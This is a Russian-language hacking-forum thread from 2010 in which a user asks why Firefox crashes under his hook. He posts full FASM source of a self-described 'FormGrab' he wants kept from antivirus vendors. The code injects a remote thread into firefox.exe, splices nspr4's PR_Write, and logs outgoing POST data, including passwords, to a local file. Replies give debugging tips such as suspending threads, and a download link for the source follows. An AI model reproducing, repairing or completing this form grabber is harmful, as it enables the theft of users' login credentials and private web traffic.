PDA

Просмотр полной версии : Крошится FF.


krenki
01.02.2010, 21:57
Здравствуйте,
Возник вопрос Из-за чего рушиться FireFox?

Симптомы:
Заметил в Олке что если в процессе исполнения моего кода(с момента анхука до момента востановления хука)
из другого треда вызывается (анхученая) функция, то (не понятно почему) FF рушиться.

Как запретить на время исполнения моего кода выполнение функции для других тредов?

П.С. Код на чистом FASM, если кто-то хочет помочь прошу в ЛС за сорсами(не охото почти законченый FormGrab палить перед AV'цами :D).

emillord
01.02.2010, 21:59
Приостановка вроде есть команда sleep (число)

upd: sorry ступил. Я прочитал "пауза" почему-то.

krenki
01.02.2010, 22:03
И чем он тут поможет? По всем тредам чтоль раскивать :D

krenki
01.02.2010, 22:04
раскидать*?

krenki
01.02.2010, 22:12
Возможно так будет понятней.
Сосплайсил функцию FF. Во врямя исполнения моей части кода происходит вызов функции из другого треда браузера, вследствии чего (по не понятным причинам) происходит крушение.
Вопрос:
Как запретить во время исполнения моего кода, вызов этой функции из других тредов?

Gar|k
01.02.2010, 22:24
krenki я думаю он вылетает из-за некорректного твоего перехвата... или кода который ты внедряешь.

как вариант останови все не нужные треды процесса - SuspendThread
з.ы: читай примечания к этой функции http://msdn.microsoft.com/en-us/library/ms686345(VS.85).aspx

krenki
01.02.2010, 22:32
OK Спасибо. Изучаю...

krenki
01.02.2010, 23:40
Короч меня за*бло. Кто хотит модифируйте код.
Компилить Fasm 1.68. Работает так:
Перехватывает PR_Write из библы nspr4. Берёт два параметра. Если во втором параметре есть "POST" то записывает запрос в файл C:\FireFox.txt тетстил на hxxps://ssl.rapidshare.com/premiumzone.html пароли скидываются в файл. Но потом ФФ рушиться. Идеи?
Кому сорец понравился +)
format PE GUI 4.0


entry start
macro PushArg [Arg]{

reverse push Arg
}
include 'D:\INCLUDE\win32a.inc'
include 'D:\INCLUDE\ddk\myincs.inc'
include 'D:\INCLUDE\MACRO\IF.inc'




TH32CS_SNAPPROCESS = 2


section '.code' code readable writeable executable


target_name db 'firefox.exe',0


;...............[INJECT CODE]..................;

remote_thread:

call delta
delta:
pop ebp;
sub ebp,delta
jmp First
struct restoreq
first db ?
second dd ?
ProcAddr dd ?
ends
;BaseAddr dd ?
KernelBase dd ?
GPAcall dd ?
GMHcall dd ?
HUser32 dd ?
MSBox dd ?
VirtProt dd ?
old db ?
HMod dd ?
GetLastErrorCall dd ?
MSBoxRest restoreq ?,?,?
PR_WriteRest restoreq ?,?,?
hFile dd ?
flbytes dd ?
flbytesend dd ?
CreateFileCall dd ?
SetFilePointerCall dd ?
WriteFileCall dd ?
CloseHandleCall dd ?
; Temp dd ?
BackAddr dd ?
resalt dd ?
esprest dd ?
ecxrest dd ?
edxrest dd ?
ebxrest dd ?
edirest dd ?
esirest dd ?
ebprest dd ?
dataadr dd ?
datalen dd ?

First:

;Kernel Base ->
xor eax,eax
mov eax,[fs:eax+30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h]
mov [KernelBase+ebp],eax
;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi
;Addres of GetProcAddress in [GPA]

mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
add ebx,[KernelBase+ebp]
mov edx,1
_find:
push ebx
mov ecx,14
mov eax,[ebx]
add eax,[KernelBase+ebp]
mov esi,eax
lea edi,[GPA+ebp]
cld
repe cmpsb
jz _ok
pop ebx
add ebx,4
inc edx
jmp _find
_ok:
xor eax,eax
mov eax,[KernelBase+ebp]

;Kernel Export ->
mov edi,eax
add edi,[eax+3ch]; NTHeader
add edi,78h; DataDirectory
mov esi,[edi]
add eax,esi


;---
mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
add ebx,[KernelBase+ebp]
shl edx,1
add ebx,edx
mov edx,[ebx]
movzx ebx,dx
;------------
sub ebx,1
shl ebx,2
mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
add eax,[KernelBase+ebp]
add eax,ebx
mov ecx,[eax]
add ecx,[KernelBase+ebp]
mov [GPAcall+ebp],ecx
pop ecx
;----------------End Get Address of GetProcAddress--------
lea ecx,[GMH+ebp]
lea edx,[KernelBase+ebp]
mov edx,[edx]
push ecx
push edx
call [GPAcall+ebp]
mov [GMHcall+ebp],eax
;-------------End Get Address of GetModuleHanle--------
mov ecx,USER32
call GetModHandle
mov [HUser32+ebp],eax
;----------------- Handle of User32.dll ----------------
mov ecx,VirtualProt
mov eax,KernelBase
call GetAddr
mov [VirtProt+ebp],eax
;----------------- VirtualProtect -----------------
mov ecx,GetLastErrorStr
mov eax,KernelBase
call GetAddr
mov [GetLastErrorCall+ebp],eax
;----------------- GetLastErorr ----------------
mov ecx,CreateFileStr
mov eax,KernelBase
call GetAddr
mov [CreateFileCall+ebp],eax
;---------------- CreatFileA ---------------------
mov ecx,SetFilePointerStr
mov eax,KernelBase
call GetAddr
mov [SetFilePointerCall+ebp],eax
;----------------- SetFilePointer ------------------
mov ecx,WriteFileStr
mov eax,KernelBase
call GetAddr
mov [WriteFileCall+ebp],eax
;------------------ WriteFile -------------------
mov ecx,CloseHandleStr
mov eax,KernelBase
call GetAddr
mov [CloseHandleCall+ebp],eax
;---------------------- CloseHandle ----------------------

push NPR
push PR_WriteStr
push nspr4
push PR_WriteRest
call HookAPI
; mov ecx,MessBox
; mov eax,HUser32
; call GetAddr
; mov [MSBox+ebp],eax ;MSBoxA addr
; push nPR_Write
; push MessBox
; push USER32
; push MSBoxRest
; call HookAPI
; push MSBoxRest
; call UnHookAPI
; PushArg 0,0,0,0
; call [MSBox+ebp]
; lea ecx,[Namef+ebp]
; push ecx
; push 7
; call WriteToFile
ret
NPR:

mov eax,[esp]
push ebp
call delta12
delta12:
pop ebp;
sub ebp,delta12
mov [BackAddr+ebp],eax
pop eax ;ebp
mov [ebprest+ebp],eax
mov [ecxrest+ebp],ecx
mov [ebxrest+ebp],ebx
mov [edxrest+ebp],edx
mov [edirest+ebp],edi
mov [esirest+ebp],esi



mov eax,[esp+0x08];addr of post
.if dword [eax]<>'POST'
jmp NoWork
.endif
;--------------Our Code-----------
;mov [dataadr+ebp],eax
;mov eax,[esp+0x0C]
;mov [datalen+ebp],eax

push eax
mov eax,[esp+0x10];size of data
push eax
call WriteToFile
;--------------Our Code-----------
NoWork:
lea esp,[esp+4]

rep1:
push PR_WriteRest
call UnHookAPI


mov edx,[edxrest+ebp]
mov ebx,[ebxrest+ebp]
mov edi,[edirest+ebp]
mov esi,[esirest+ebp]
mov ecx,ebp
mov ebp,[ebprest+ecx]
mov ecx,[PR_WriteRest.ProcAddr+ecx]

call ecx

call deltax
deltax:
pop ebp;
sub ebp,deltax
mov [resalt+ebp],eax
mov [edxrest+ebp],edx

push NPR
push PR_WriteStr
push nspr4
push PR_WriteRest
call HookAPI
; mov esp,[esprest+ebp]

mov edx,[edxrest+ebp]
mov ebx,[ebxrest+ebp]
mov edi,[edirest+ebp]
mov esi,[esirest+ebp]
mov ecx,ebp
; lea esp,[esp+4]
mov eax,[resalt+ecx]
mov ebp,[ebprest+ecx]

mov ecx,[BackAddr+ecx]

jmp ecx



GetModHandle: ;ecx-module name
lea ecx,[ecx+ebp]
push ecx
call [GMHcall+ebp]
ret

GetAddr: ;ecx-Func Name, eax-Handle of module
lea ecx,[ecx+ebp]
push ecx
lea eax,[eax+ebp]
mov eax,[eax]
push eax
call [GPAcall+ebp]
ret

HookAPI:
pop edi ;ret addr
pop ebx ;restore data
pop ecx ;name module
call GetModHandle
mov [HMod+ebp],eax
mov eax,HMod
pop ecx;name func
call GetAddr
mov [ebx+restoreq.ProcAddr+ebp],eax
lea esi,[old+ebp]
invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,PAGE_EXECUTE_READWRITE,esi
; call [GetLastErrorr+ebp]
; je BadEnd
pop edx; mov edx,[AddrNewProc]; addr my func
lea edx,[edx+ebp]
sub edx,[ebx+restoreq.ProcAddr+ebp]
sub edx,5
xchg eax,edx; jmp value eax
mov edx,[ebx+restoreq.ProcAddr+ebp]
mov ch,byte [edx]
mov [ebx+restoreq.first+ebp],ch
push dword [edx+1]
pop [ebx+restoreq.second+ebp]
mov byte [edx],$E9
mov dword [edx+1],eax
invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,[esi],esi
HookEnd:
jmp edi
BadEnd:
leave
jmp HookEnd

UnHookAPI:
pop edi
pop ebx
lea esi,[old+ebp]
invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,PAGE_EXECUTE_READWRITE,esi
; call [GetLastErrorCall+ebp]
je BadEndUn
lea ecx,[ebx+restoreq.ProcAddr+ebp]
mov ecx,[ecx]
mov dh,[ebx+restoreq.first+ebp]
mov [ecx],dh
mov edx,[ebx+restoreq.second+ebp]
mov [ecx+1],edx
invoke VirtProt+ebp,[ebx+restoreq.ProcAddr+ebp],5,[esi],esi
BadEndUn:
jmp edi;

WriteToFile:
pop edi
lea edx,[Namef+ebp]
invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
; call [GetLastErrorCall+ebp]
mov [hFile+ebp],eax
invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END
AgainWrite:
lea edx,[flbytes+ebp]
pop ebx;size buff
pop ecx; addr buff
invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h
lea ecx,[EndLine+ebp]
lea edx,[flbytesend+ebp]
invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h
lea edx,[hFile+ebp]
invoke CloseHandleCall+ebp,[edx]
jmp edi

EndLine db 0x0A,0
PR_WriteStr db 'PR_Write',0
nspr4 db 'nspr4.dll',0
Namef db 'C:\FireFox.txt',0
CloseHandleStr db 'CloseHandle',0
WriteFileStr db 'WriteFile',0
SetFilePointerStr db 'SetFilePointer',0
CreateFileStr db 'CreateFileA',0
GPA db 'GetProcAddress',0
GMH db 'GetModuleHandleA',0
MessBox db 'MessageBoxA',0
USER32 db 'user32.dll',0
VirtualProt db 'VirtualProtect',0
GetLastErrorStr db 'GetLastError',0


thread_end:

;...............[END INJECT CODE]..............;

p_ent PROCESSENTRY32

find_target:
xor esi,esi

.shot:
mov [p_ent.dwSize],sizeof.PROCESSENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi
inc eax
je .not_found
dec eax
xchg eax,edi

invoke Process32First,edi,p_ent

.next_prc:
xchg eax,ecx
jecxz .not_found

invoke lstrcmpi,p_ent.szExeFile,target_name
xchg eax,ecx
jecxz .found

invoke Process32Next,edi,p_ent
jmp .next_prc

.found:
invoke CloseHandle,edi
mov eax,[p_ent.th32ProcessID]
ret

.not_found:
xor eax,eax
ret

inject_code:
xor esi,esi
invoke OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax

xchg eax,ecx
jecxz .exit

xchg ecx,edi

invoke VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE
xchg eax,ecx
jecxz .close_h

xchg ecx,ebp

invoke WriteProcessMemory,edi,ebp,remote_thread,thread_en d-remote_thread,esi

dec eax
test eax,eax
jnz .close_h
inc eax

invoke CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi

.close_h:
invoke CloseHandle,edi

.exit:
ret

get_apis:
; mov edi,[LoadLibrary]
; mov [pLoadLibrary],edi

; mov edi,[MessageBox]
; mov [pMessageBox],edi

ret

start:
call find_target
test eax,eax
je .exit

call get_apis

call inject_code

.exit:
push 0
call [ExitProcess]


section '.idata' data import readable

library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'

include 'D:\INCLUDE\API\kernel32.inc'
include 'D:\INCLUDE\API\user32.inc'

Что посоветуете почитать ?

krenki
02.02.2010, 00:53
hxxp://depositfiles.com/files/42xer3r7l Сорец для тестов. Инжектится в ФФ хучит PR_Write и забирает его параметр начинающийся на "POST". Сохраняет в лог в C:\FireFox.txt компилятор FASM 1.68 прекрастно работает первое время, позже рушит браузер.
Нужен совет.